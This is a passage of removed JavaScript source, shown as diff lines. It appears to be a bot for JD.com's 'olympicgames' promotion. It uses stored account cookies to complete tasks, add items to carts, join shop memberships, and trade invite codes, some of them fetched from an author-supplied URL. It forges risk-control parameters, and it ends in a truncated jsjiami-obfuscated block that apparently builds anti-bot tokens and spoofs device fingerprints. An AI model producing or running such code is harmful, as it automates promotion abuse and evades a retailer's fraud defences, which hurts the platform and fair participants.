console.log('结算结果') - let res = data.data.result.userActBaseVO - console.log(`当前金额:${res.poolMoney}\n${JSON.stringify(res)}`); - } - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_getTaskDetail': - if (data.data && data.data.bizCode === 0) { - console.log(`互助码:${data.data.result && data.data.result.inviteId || '助力已满,获取助力码失败'}\n`); - if (data.data.result && data.data.result.inviteId) { - $.inviteList.push({ - 'ues': $.UserName, - // 'secretp': $.secretp, - 'inviteId': data.data.result.inviteId, - 'max': false - }); - } - $.taskList = data.data.result && data.data.result.taskVos || []; - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - case 'olypicgames_guradHome': - if (data.data && data.data.bizCode === 0) { - console.log(`SH互助码:${data.data.result && data.data.result.inviteId || '助力已满,获取助力码失败\n'}`); - if (data.data.result && data.data.result.inviteId) { - if (data.data.result.inviteId) $.ShInviteList.push(data.data.result.inviteId); - console.log(`守护金额:${Number(data.data.result.activityLeftAmount || 0)} 护盾剩余:${timeFn(Number(data.data.result.guardLeftSeconds || 0) * 1000)} 离结束剩:${timeFn(Number(data.data.result.activityLeftSeconds || 0) * 1000)}`) - if(data.data.result.activityLeftSeconds == 0) $.Shend = true - } - $.taskList = data.data.result && data.data.result.taskVos || []; - } else if (data.data && data.data.bizMsg) { - if(data.data.bizMsg.indexOf('活动太火爆') > -1){ - $.hotFlag = true; - } - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_doTaskDetail': - if (data.data && data.data.bizCode === 0) { - if (data.data.result && data.data.result.taskToken) { - $.callbackInfo = data; - }else if(data.data.result && data.data.result.successToast){ - console.log(data.data.result.successToast); - } - } else if (data.data && data.data.bizMsg) { - if(data.data.bizMsg.indexOf('活动太火爆') > -1){ - $.taskHotFlag = true; - } - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_getFeedDetail': - if (data.code === 0) { - $.feedDetailInfo = data.data.result.addProductVos[0] || []; - } else if(data.data && data.data.bizMsg){ - console.log(data.data.bizMsg); - if(data.data.bizMsg.indexOf('活动太火爆') > -1){ - $.taskHotFlag = true; - } - } - break; - case 'add_car': - if (data.code === 0) { - if (data.data && data.data.bizCode === 0 && data.data.result && data.data.result.acquiredScore) { - let acquiredScore = data.data.result.acquiredScore; - if (Number(acquiredScore) > 0) { - console.log(`加购成功,获得金币:${acquiredScore}`); - } else { - console.log(`加购成功`); - } - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - } - break - case 'shHelp': - case 'help': - if (data.data && data.data.bizCode === 0) { - let cash = '' - if (data.data.result.hongBaoVO && data.data.result.hongBaoVO.withdrawCash) cash = `,并获得${Number(data.data.result.hongBaoVO.withdrawCash)}红包` - console.log(`助力成功${cash}`); - } else if (data.data && data.data.bizMsg) { - if(data.data.bizCode === -405 || data.data.bizCode === -411){ - $.canHelp = false; - } - if(data.data.bizCode === -404 && $.oneInviteInfo){ - $.oneInviteInfo.max = true; - } - if (data.data.bizMsg.indexOf('今天用完所有') > -1) { - $.canHelp = false; - } - if (data.data.bizMsg.indexOf('组过队') > -1 || data.data.bizMsg.indexOf('你已经有团队') > -1) { - $.canHelp = false; - } - if (data.data.bizMsg.indexOf('不需要助力') > -1) { - $.oneGroupInviteIdInfo.max = true - } - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_speedTraining': - if (data.data && data.data.bizCode === 0 && data.data.result) { - let res = data.data.result - console.log(`获得[${res.couponName}]优惠券:${res.usageThreshold} 优惠:${res.quota} 时间:${res.useTimeRange}`); - } else if (data.data && data.data.bizMsg) { - if (data.data.bizMsg.indexOf('不在运动中') > -1) { - $.speedTraining = false; - } else if(data.data.bizMsg.indexOf('活动太火爆') > -1){ - $.hotFlag = true; - } - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_startTraining': - if (data.data && data.data.bizCode === 0 && data.data.result) { - let res = data.data.result - console.log(`倒计时${res.countdown}s ${res.currencyPerSec}卡币/s`); - } else if (data.data && data.data.bizMsg) { - if (data.data.bizMsg.indexOf('运动量已经够啦') > -1) { - $.speedTraining = false; - } else if(data.data.bizMsg.indexOf('活动太火爆') > -1){ - $.hotFlag = true; - } - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_tiroGuide': - console.log(JSON.stringify(data)); - break; - case 'olympicgames_shopLotteryInfo': - if (data.code === 0) { - $.shopResult = data.data.result; - } else if(data.data && data.data.bizMsg){ - console.log(data.data.bizMsg); - if(data.data.bizMsg.indexOf('活动太火爆') > -1){ - $.taskHotFlag = true; - } - } - break; - case 'qryCompositeMaterials': - //console.log(data); - if (data.code === '0') { - $.shopInfoList = data.data.logoData.list; - console.log(`获取到${$.shopInfoList.length}个店铺`); - } - break - case 'olympicgames_bdDoTask': - if(data.data && data.data.bizCode === 0){ - console.log(`签到获得:${data.data.result.score}`); - }else if(data.data && data.data.bizMsg){ - console.log(data.data.bizMsg); - if(data.data.bizMsg.indexOf('活动太火爆') > -1){ - $.taskHotFlag = true; - } - }else{ - console.log(data); - } - break; - case 'olympicgames_boxShopLottery': - if(data.data && data.data.result){ - let result = data.data.result; - switch (result.awardType) { - case 8: - console.log(`获得金币:${result.rewardScore}`); - break; - case 5: - console.log(`获得:adidas能量`); - break; - case 2: - case 3: - console.log(`获得优惠券:${result.couponInfo.usageThreshold} 优惠:${result.couponInfo.quota},${result.couponInfo.useRange}`); - break; - default: - console.log(`抽奖获得未知`); - console.log(JSON.stringify(data)); - } - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - if(data.data.bizMsg.indexOf('活动太火爆') > -1){ - $.taskHotFlag = true; - } - } else { - console.log(JSON.stringify(data)); - } - break - case 'wxTaskDetail': - if (data.code === 0) { - $.wxTaskList = data.data.result && data.data.result.taskVos || []; - } - break; - case 'olympicgames_pawnshopRewardPop': - if (data.data && data.data.bizCode === 0 && data.data.result) { - console.log(JSON.stringify(data)); - console.log(`结果:${data.data.result.currencyReward && '额外奖励' + data.data.result.currencyReward + '卡币' || ''}`) - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - default: - console.log(`未判断的异常${type}`); - } -} -//领取奖励 -function callbackResult(info) { - return new Promise((resolve) => { - let url = { - url: `https://api.m.jd.com/?functionId=qryViewkitCallbackResult&client=wh5&clientVersion=1.0.0&body=${info}&_timestamp=` + Date.now(), - headers: { - 'Origin': `https://bunearth.m.jd.com`, - 'Cookie': $.cookie, - 'Connection': `keep-alive`, - 'Accept': `*/*`, - 'Host': `api.m.jd.com`, - 'User-Agent': UA, - 'Accept-Encoding': `gzip, deflate, br`, - 'Accept-Language': `zh-cn`, - 'Content-Type': 'application/x-www-form-urlencoded', - 'Referer': 'https://bunearth.m.jd.com' - } - } - $.get(url, async (err, resp, data) => { - try { - data = JSON.parse(data); - console.log(data.toast.subTitle) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - }) -} - -// 入会 -function openMemberCard(url, Referer) { - return new Promise(resolve => { - const option = { - url, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - // "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": Referer, - "Cookie": $.cookie, - "User-Agent": UA, - } - } - $.get(option, async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} 入会 API请求失败,请检查网路重试`) - } else { - console.log(data) - if(data) { - data = JSON.parse(data) - console.log(data.message || JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function getPostRequest(type, body) { - let url = `https://api.m.jd.com/client.action?advId=${type}`; - const method = `POST`; - const headers = { - 'Accept': `application/json`, - 'Origin': `https://wbbny.m.jd.com`, - 'Accept-Encoding': `gzip, deflate, br`, - 'Cookie': $.cookie, - 'Content-Type': `application/x-www-form-urlencoded`, - 'Host': `api.m.jd.com`, - 'Connection': `keep-alive`, - 'User-Agent': UA, - 'Referer': `https://wbbny.m.jd.com`, - 'Accept-Language': `zh-cn` - }; - return {url: url, method: method, headers: headers, body: body}; -} - -async function getPostBody(type) { - let taskBody = ''; - let random = Math.floor(1e+6 * Math.random()).toString().padEnd(8, '8'); - let senddata = { - data: { - random - } - } - let retn = await utils.get_risk_result(senddata, "50085", $.UserName) - let ss = JSON.stringify({ - extraData: { - log: retn.log, - sceneid: "OY217hPageh5" - }, - random - }) - if (type === 'help' || type === 'shHelp') { - taskBody = `functionId=olympicgames_assist&body=${JSON.stringify({"inviteId":$.inviteId,"type": "confirm", ss})}&client=wh5&clientVersion=1.0.0` - } else if (type === 'olympicgames_collectCurrency') { - taskBody = `functionId=olympicgames_collectCurrency&body=${JSON.stringify({"type": $.collectId, ss})}&client=wh5&clientVersion=1.0.0`; - } else if(type === 'olympicgames_startTraining' || type === 'olympicgames_speedTraining') { - taskBody = `functionId=${type}&body=${JSON.stringify({ss})}&client=wh5&clientVersion=1.0.0`; - } else if(type === 'add_car'){ - taskBody = `functionId=olympicgames_doTaskDetail&body=${JSON.stringify({"taskId": $.taskId,"taskToken":$.taskToken, ss})}&client=wh5&clientVersion=1.0.0` - } else { - let actionType = 0 - if([1, 3, 5, 6, 8, 9, 14, 22, 23, 24, 25, 26].includes($.oneTask.taskId)) actionType = 1 - taskBody = `functionId=${type}&body=${JSON.stringify({"taskId": $.oneTask.taskId,"taskToken": $.oneActivityInfo.taskToken, ss,"shopSign":$.shopSign,"actionType":actionType,"showErrorToast":false})}&client=wh5&clientVersion=1.0.0` - } - return taskBody + `&uuid=${uuid}` + `&appid=${$.appid}` -} - -/** - * 随机从一数组里面取 - * @param arr - * @param count - * @returns {Buffer} - */ -function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} - -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -// 随机数 -function getRndInteger(min, max) { - return Math.floor(Math.random() * (max - min) ) + min; -} - -// 计算时间 -function timeFn(dateBegin) { - //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 - var dateEnd = new Date(0);//获取当前时间 - var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 - var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 - var hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 - //计算相差分钟数 - var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 - var minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 - //计算相差秒数 - var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 - var seconds = Math.round(leave3 / 1000) - - var timeFn = hours + ":" + minutes + ":" + seconds; - return timeFn; -} - - -function getAuthorShareCode(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getToken(timeout = 0){ - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://bh.m.jd.com/gettoken`, - headers : { - 'Content-Type' : `text/plain;charset=UTF-8` - }, - body : `content={"appname":"50085","whwswswws":"","jdkey":"","body":{"platform":"1"}}` - } - $.post(url, async (err, resp, data) => { - try { - data = JSON.parse(data); - joyToken = data.joyytoken; - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: $.cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -var _0xodF='jsjiami.com.v6',_0x1da8=[_0xodF,'UE9TVA==','dGV4dC9wbGFpbjtjaGFyc2V0PVVURi04','aHR0cHM6Ly9oNS5tLmpkLmNvbQ==','Y29tLmppbmdkb25nLmFwcC5tYWxs','aHR0cHM6Ly93YmJueS5tLmpkLmNvbS9iYWJlbERpeS9aZXVzLzJydHBmZks4d3FOeVBCSDZ3eVVEdUJLb0FiQ3QvaW5kZXguaHRtbD9iYWJlbENoYW5uZWw9ZmMmbG5nPTEwNC42OTc0NzEmbGF0PTMxLjQ2NjY1OSZzaWQ9YjdhYzAxNTRjMGI4N2EyN2QzNTI5ZWJhY2FiY2JjNncmdW5fYXJlYT0yMl8xOTYwXzM4NTc0XzUxNjc0','aHR0cHM=','ZXRxVnY=','alFnQUs=','Y29udGVudD17ImFwcG5hbWUiOiI1MDA4NSIsIndod3N3c3d3cyI6ImY0TzdUYzJqQktHSDFmdEVhS1pVdVNBPT0iLCJqZGtleSI6Ii1hNDUwNDZkZTlmYmYtMGE0ZmM4ZWM5NTQ4YTdmOSIsImJvZHkiOnsicGxhdGZvcm0iOiIxIn19','amlIeWk=','a05xS3o=','UEJuaWU=','WE11ZlI=','Y1FSYnQ=','TFdwTGw=','UmVRTnI=','WUZkcnE=','WmFJQVk=','ZWVrcmg=','SVpUY24=','Tmt2UHo=','aHFMZUM=','dVlaYXg=','YkJtZFc=','SUhmT2k=','SmJPdm4=','QUJIU1k=','REVMWFQ=','UFF5ZEc=','cmVxdWVzdA==','c2V0RW5jb2Rpbmc=','Q1BMaVA=','c0lSaHc=','SmJ3Vno=','Q2FycUY=','d3JpdGU=','Z2V0UmFuZG9tSW50','VFdoWWY=','ek1iY3o=','d0NVb00=','WkZrVXo=','d29XSkQ=','SmlXZlU=','eWp1Z0o=','Sk9YYUQ=','YmFzZTY0','Y29tLm1pdWkuaG9tZQ==','Mi41Ljg=','amlhbWk=','QmRBV3M=','cW9zSEs=','SUxHWWM=','UGtCUlg=','ZWNvYnQ=','TklJc2w=','Y1VUUEg=','dWtZRm0=','Snpueks=','RnpGZlo=','aElkZlo=','aFpmTFI=','QmdUbFk=','TXl5aEQ=','bXdBT24=','cGNPbm4=','cW9jYnU=','U0RLR04=','YkVlVGw=','SXFyVlU=','ZHhDUUU=','a2ltSGg=','bFBFWEQ=','YUxCVHo=','RU1qb0c=','RW1rdk4=','dndsS0I=','UlJDUUk=','Q3J6RXA=','Z2V0UmFuZG9tV29yZA==','YnVqRmY=','WmhRT2Q=','SkVYR3U=','WnlvVHY=','RmhNbmY=','SU5UY00=','fn5+','Z2V0Q3JjQ29kZQ==','MTR8MTF8MTB8MTN8MHwxNXwyfDV8MTJ8NnwzfDR8MTh8MTd8MTZ8N3w4fDl8MQ==','am95eXRva2Vu','56ys5LiA5qyh6K+35rGCam95eXRva2Vu','dHR0dHQ=','ZmZ0dHR0dWE=','T2JqZWN0LkZlLjxjb21wdXRlZD49Jk9iamVjdC5nZXRfcmlza19yZXN1bHQ9aHR0cHM6Ly9zdG9yYWdlLjM2MGJ1eWltZy5jb20vdG9reW8tb2x5bXBpYy8xLjAuMC9qcy9hcHAuNWM1MTc5MjguanMmaHR0cHM9Jyc=','TGludXggYWFyY2g2NA==','R29vZ2xlIEluYy4=','ZmZmZmZmdHQ=','dzMuMS4w','UXpMRUk=','am95eXRva2VuPQ==','a2dpUVY=','V1N5SmQ=','c1d0Qkg=','b0xMc1Y=','Z2V0S2V5','c2hhMjU2','U0JoZnM=','aHlRYUQ=','cGFyc2U=','Z2V0dG9rZW4=','Y29udGVudD17ImFwcG5hbWUiOiI1MDA4MiIsIndod3N3c3d3cyI6IiIsImpka2V5IjoiLWE0NTA0NmRlOWZiZi0wYTRmYzhlYzk1NDhhN2Y5IiwiYm9keSI6eyJwbGF0Zm9ybSI6IjEifX0=','bHh4a0k=','bG9n','ZUdLU08=','JnRva2VuPQ==','JnRpbWU9','Jm5vbmNlX3N0cj0=','JmtleT0=','JmlzX3RydXN0PTE=','b2JqVG9TdHJpbmcy','Z2V0VG91Y2hTZXNzaW9u','ZGVjaXBoZXJKb3lUb2tlbg==','UFBQSWk=','ZmxRSXA=','aHVXa2g=','cnJCbk8=','RXFsYXo=','YVRmamo=','TWVYQWw=','UWhMdXY=','cUdRR3U=','alZYU3o=','andLUGs=','eHVXYlU=','Z2V0X2Jsb2c=','Y29tLmh1YXdlaQ==','Y29tLm1pdWk=','Y29tLnhpYW9taQ==','Y29tLnRlbmNlbnQ=','Y29tLnZpdm8=','Y29tLm9wcG8=','Y29tLnNhbXN1bmc=','Zmxvb3I=','cmFuZG9t','bGVuZ3Ro','dWFOYnk=','T1VTSkU=','bnNTako=','UXRBeEM=','Q2lZY1I=','Y1p5UFo=','UEVFYW0=','Z2RRY2g=','SmRrTHo=','cllhYUo=','dm9IT2E=','akZ2YW8=','U3RCUko=','ck1aVEM=','WFFYeHc=','WkdYRGE=','aXlGamU=','VlpYa24=','V0VwdnU=','ck94eHE=','UVlZVk4=','TkxNa0M=','Vk1tSUE=','bWZId0I=','eHhqVE0=','VHRTbGk=','bkJuR1U=','YmJDekk=','MTB8OHw0fDExfDJ8M3wxMnw1fDl8MHw2fDd8MQ==','MjF8NTB8MTZ8Mjd8MjB8MzV8NDN8MTd8MjZ8NDR8MTJ8NTR8MTl8MjJ8MnwxM3wwfDM4fDMwfDMzfDU5fDF8Njd8MjV8M3w0N3wxMXwyNHw4fDMxfDY4fDY5fDUxfDEwfDd8NjR8Nnw2NnwyOHwzOXw1fDE1fDU3fDU2fDQ4fDcxfDI5fDM3fDMyfDR8NTJ8OXw0Nnw2NXw0MXw0NXw2MHwxOHwzNnw1NXw2MXwzNHw1M3w0Mnw0OXw3MHw1OHw2M3wyM3w2MnwxNHw0MA==','Z3hmcnk=','c3BsaXQ=','cmtFd3Y=','SWhuZU8=','d2NjY3o=','a3FKVWU=','WWJRYkY=','cmFwZlo=','SmF4Z3I=','dkJ3ZVA=','R0RzZXY=','dUdIbnk=','YkdTb04=','bnJNdmc=','eVdOUW0=','d1RLWVk=','V3hueXc=','Zm9keVo=','aVV2cG4=','cUVxekg=','YlBkbVE=','SXZDQlo=','cU5tQ1Y=','Rmhwd1o=','WGxqYnM=','YXNaUVo=','ZUdPZWo=','YXl5QnE=','VWdmQWY=','bklYdW4=','ZGxyVW4=','amNIWXU=','VmR0a3g=','S2txak0=','b2tyS0U=','aEJldXA=','WkVrbHA=','bmx1c3Y=','Y1dkVlk=','aGRQZ0U=','cGNDaUM=','TFRndkg=','ekt0VUc=','b0xZaWI=','allNdXA=','ZEZxRlg=','ZllpSXA=','UVhicUk=','U0VLZ3k=','bUNsclA=','SlVUU24=','ZGhxeG8=','RnhqZ0k=','Z1RSaEU=','bW9IUkk=','Z2dQZ3M=','bEl0dkY=','aVVXY1E=','aExyem4=','SEtzWks=','WGdLRmU=','ZHd6bVE=','cEt3eE0=','ZVBseUw=','U1JQdWY=','akhnQ2Q=','Z2VmdUw=','WVZNaWU=','cGVyaFg=','VklTZUE=','eFF6ZHc=','U2ZlYVA=','cWtRaUo=','Mnw0fDB8M3wx','YmpWWXQ=','UXdJdmE=','SnNRSUI=','ZnJvbUNoYXJDb2Rl','RUZHUlM=','V3BUYkc=','WHFrTlc=','amJUZ3U=','MnwwfDF8Nnw1fDR8Mw==','U0tweUU=','U3Vidlc=','YW5GR0o=','aUViRnE=','YUpZcG4=','ZUJlQWo=','Y2hhckNvZGVBdA==','V2xITlY=','T2RlcFg=','UUZoWnE=','UUtVcFo=','a2xoS20=','RWpQZFA=','R091S2U=','NXwzfDh8Nnw5fDF8MHw0fDd8Mg==','b0FDRXg=','WWF5WVU=','Q0JpeHk=','T2VVQms=','R3doYUg=','QXdNbmg=','Y29uY2F0','UVF2Y0I=','WVRDR0c=','b1pNZVk=','ZWttcHY=','ZFhCT2o=','eHFyYlc=','MDEyMzQ1Njc4OWFiY2RlZg==','VkhJZlc=','SnRYd0c=','a01sa2E=','UlhxSEI=','dGNEYkI=','ZW5jcnlwdDI=','WmRyV2I=','Y2hhckF0','TWNuc1A=','VE5VSnY=','WkxZSlo=','U1VycE8=','SGdQVFE=','R3BpaGs=','dkhjRFc=','SFlzSXQ=','dGlMZEg=','eGZUREk=','b2RZWWY=','ZnhCU2E=','Q2VIaVc=','V2tjUXE=','dW5kZWZpbmVk','c3RyaW5n','T2JqZWN0','TWFw','U2V0','QXJndW1lbnRz','SW52YWxpZCBhdHRlbXB0IHRvIHNwcmVhZCBub24taXRlcmFibGUgaW5zdGFuY2UuCkluIG9yZGVyIHRvIGJlIGl0ZXJhYmxlLCBub24tYXJyYXkgb2JqZWN0cyBtdXN0IGhhdmUgYSBbU3ltYm9sLml0ZXJhdG9yXSgpIG1ldGhvZC4=','aXNBcnJheQ==','RmRqU3k=','ZFFhUms=','VWFoSEI=','WG1vWFo=','aXRlcmF0b3I=','ZnJvbQ==','d1VBdE0=','cGdpQ3c=','VmtOQ1o=','cHJvdG90eXBl','dG9TdHJpbmc=','Y2FsbA==','c2xpY2U=','RUVqSUs=','dWJsQWU=','Y29uc3RydWN0b3I=','bmFtZQ==','c095Wlg=','cFVyeHk=','cFVRa2M=','dGVzdA==','RXhDUEY=','ZFVSaWE=','bGhiWnU=','ZEV2bnQ=','QlpjUmw=','ZGVxa3o=','dVVFaHA=','TkxIcWs=','clRuaVg=','R294SXI=','ZGNSWGI=','Q0x2Rlo=','UkVMUnU=','Ym9zSUw=','R3BzcXk=','U01yU3Y=','Z1ZkQWg=','cHFYSVc=','RVVqeEY=','a2FUSFg=','WmJZSFA=','dlhBbFI=','dkphQVQ=','Ukx6UEo=','T3pXaW0=','cU5qdXo=','bFdQSEM=','VUtwSG8=','WlBtaGI=','TVVNSVA=','ZEJVSXY=','ZUtNV0E=','bFdDS2s=','ZXZma0Y=','V0tjdXU=','TE91Qng=','UUxlZVo=','RnZrQWY=','ZWlJTVg=','c1htSmc=','VXhWVm0=','QlhGSUI=','YmhKVnc=','bWxhc0s=','ZXluWUo=','MTB8Nnw3fDR8NXwzfDF8OHwxMXwwfDl8Mg==','QmpFTWc=','MnwxOHw4fDV8MXwxNXw3fDE2fDZ8M3w0fDExfDE3fDEzfDEwfDB8OXwxNHwxOXwxMg==','Nnw3fDV8MHw4fDF8NHwxMHw5fDJ8Mw==','QUNnaXc=','S2FCeVA=','d0J3WFI=','Z050d1o=','Z2VwbFk=','SGZHZ2U=','WFZ6eUs=','Z1JObHI=','c1hEb2Q=','Q2Z5ZXM=','dEp5R3k=','WlpFVk8=','dUVRVUo=','cG9lVno=','bWVhbnI=','NnwyfDR8NXwxfDN8MA==','Y2djeE4=','SHZUR2U=','S3dyWEQ=','bkNSWHU=','WkRnSXU=','b2xMQUw=','bnh5cHc=','alpLa3o=','emRHZ3U=','YVFVWFU=','ZnFkeFM=','UHhMWks=','cklqWnA=','eU9QVWw=','U29sYVQ=','UGZnU0E=','VGF2Q3o=','V3FlYkE=','aWtvcnU=','UHlQYm0=','bXNSamw=','RWVFTnM=','Y09WWEs=','Q3Z6VEM=','c2tLZUE=','THhldWQ=','ZFVKZHM=','cm5ZV3c=','eE15S1c=','RkVDVW0=','a3Raa2w=','aUhYVkE=','ZU9ORnc=','SEp5RVk=','VUdqWnE=','Tkx2cU0=','d053V28=','T3FPbkU=','TWlxZm8=','b29OTWc=','UnFTcVo=','UVlBQUc=','YXRvYlBvbHlmaWxs','ZE9TZ0Q=','RVpMQ2I=','Rm50UEI=','anJMTWU=','S1hvQkU=','ekVmWHQ=','bXBPdHc=','RXhDZGo=','YWNHYmY=','bVdXU3c=','dkNoZnE=','d1pvRko=','amx2cHk=','ZmRyRWo=','WW9heXg=','T0Fxbms=','ZG5ybFg=','VFlkeGE=','aHR0cHM6Ly8=','YmgubS5qZC5jb20vZ2V0dG9rZW4=','aHR0cHM6Ly9ibGFja2hvbGU=','Lm0uamQuY29tL2J5cGFzcw==','bE9KREc=','aExqd0k=','SEtxcWk=','dG9VcHBlckNhc2U=','NHwxfDJ8M3ww','6Kej5a+G6ZSZ6K+v','QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0=','VVlkSW8=','empkbWQ=','cmVwbGFjZQ==','REtQdkE=','VFRLbk8=','SXFHaXc=','d1ptdmI=','dXdLV2w=','QndvanQ=','aW5kZXhPZg==','QlBLRkM=','dUliZkc=','V2xYSFo=','SHpXR3c=','amZZTkk=','Z2pwVUc=','Q01EQ2E=','TU5EWUo=','VW5zUGc=','RmFpbGVkIHRvIGV4ZWN1dGUgJ2J0b2EnIG9uICdXaW5kb3cnOiBUaGUgc3RyaW5nIHRvIGJlIGVuY29kZWQgY29udGFpbnMgY2hhcmFjdGVycyBvdXRzaWRlIG9mIHRoZSBMYXRpbjEgcmFuZ2Uu','PT09','Y2RMVU0=','R3BRYkY=','a2p3V2w=','ZFZYdm4=','eGNsdkY=','UmJGdkk=','aGhHTms=','aHJVTkc=','T2luR2s=','em1qelQ=','SFhwank=','Q3FkUlA=','a1dZRks=','S0JQUU8=','anhoRVM=','b2NmVEM=','REp0aWI=','SWlhVHI=','RWdtSXc=','WndNY2s=','Y1RoS2E=','Y2plSFY=','SFBPVUk=','VFdlU2o=','c2FIT1I=','R1BRVUU=','SnhVT08=','dG1jV2o=','RVRHaFU=','aVlLTVE=','aE9WZ0E=','c3Vic3RyaW5n','cUpzRGY=','aXB3c2I=','aHpjWHA=','eUlHREo=','QnBhY1k=','bXNOeUk=','VkJGcG4=','cHVzaA==','am9pbg==','amdyUHk=','dmRzZGI=','S1BTV1Q=','ckNobWo=','c01YYUE=','bGVuX0Z1bg==','ZW5jcnlwdDE=','MDAwMDA=','Ymh2cnk=','Q0ZHTWM=','ZElkeno=','TXlmVEg=','c3Vic3Ry','eFppdWM=','allYUGQ=','QnpsQ1E=','Ymxsdmg=','SlVDVUY=','YWRkWmVyb0JhY2s=','YWRkWmVyb0Zyb250','aU1VdEI=','aHp5d0Y=','a2V5cw==','Zm9yRWFjaA==','eWNnUUw=','RGhLTUY=','VEJydFI=','Y211bGw=','WXZ1ak8=','bmtmYWY=','elZTTEE=','Yml3cWo=','c21kb08=','eWxDRG4=','YWJz','Z2V0Q3VycmVudERhdGU=','Z2V0VGltZQ==','R2JabUo=','Q2ZXQ1k=','Y2VpbA==','UFBaWGk=','Zm5WSXc=','aEVKblg=','R0xBbG0=','MDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo=','SVBZYUw=','SmpYeGU=','cm91bmQ=','c1VQamQ=','eXRIcGE=','ZkdtSHM=','cklXU2U=','Q2x3WEs=','ZWN6aUI=','ZXpvVkc=','REVjbWc=','a3BPU1M=','UGRZQ2M=','YWxOdlM=','RVhKZ1o=','aHhsTno=','cnZZVHU=','QUNJek4=','RURVSEs=','aGFzT3duUHJvcGVydHk=','Z2V0TGFzdEFzY2lp','UmVjdXJzaXZlU29ydGluZw==','cnNkenE=','VkJ2UXA=','bWF4','dG9Bc2NpaQ==','R05nQmU=','YWRkMA==','WFRqaFI=','c2ZNWHE=','MDAwMDAwMDAgNzcwNzMwOTYgRUUwRTYxMkMgOTkwOTUxQkEgMDc2REM0MTkgNzA2QUY0OEYgRTk2M0E1MzUgOUU2NDk1QTMgMEVEQjg4MzIgNzlEQ0I4QTQgRTBENUU5MUUgOTdEMkQ5ODggMDlCNjRDMkIgN0VCMTdDQkQgRTdCODJEMDcgOTBCRjFEOTEgMURCNzEwNjQgNkFCMDIwRjIgRjNCOTcxNDggODRCRTQxREUgMUFEQUQ0N0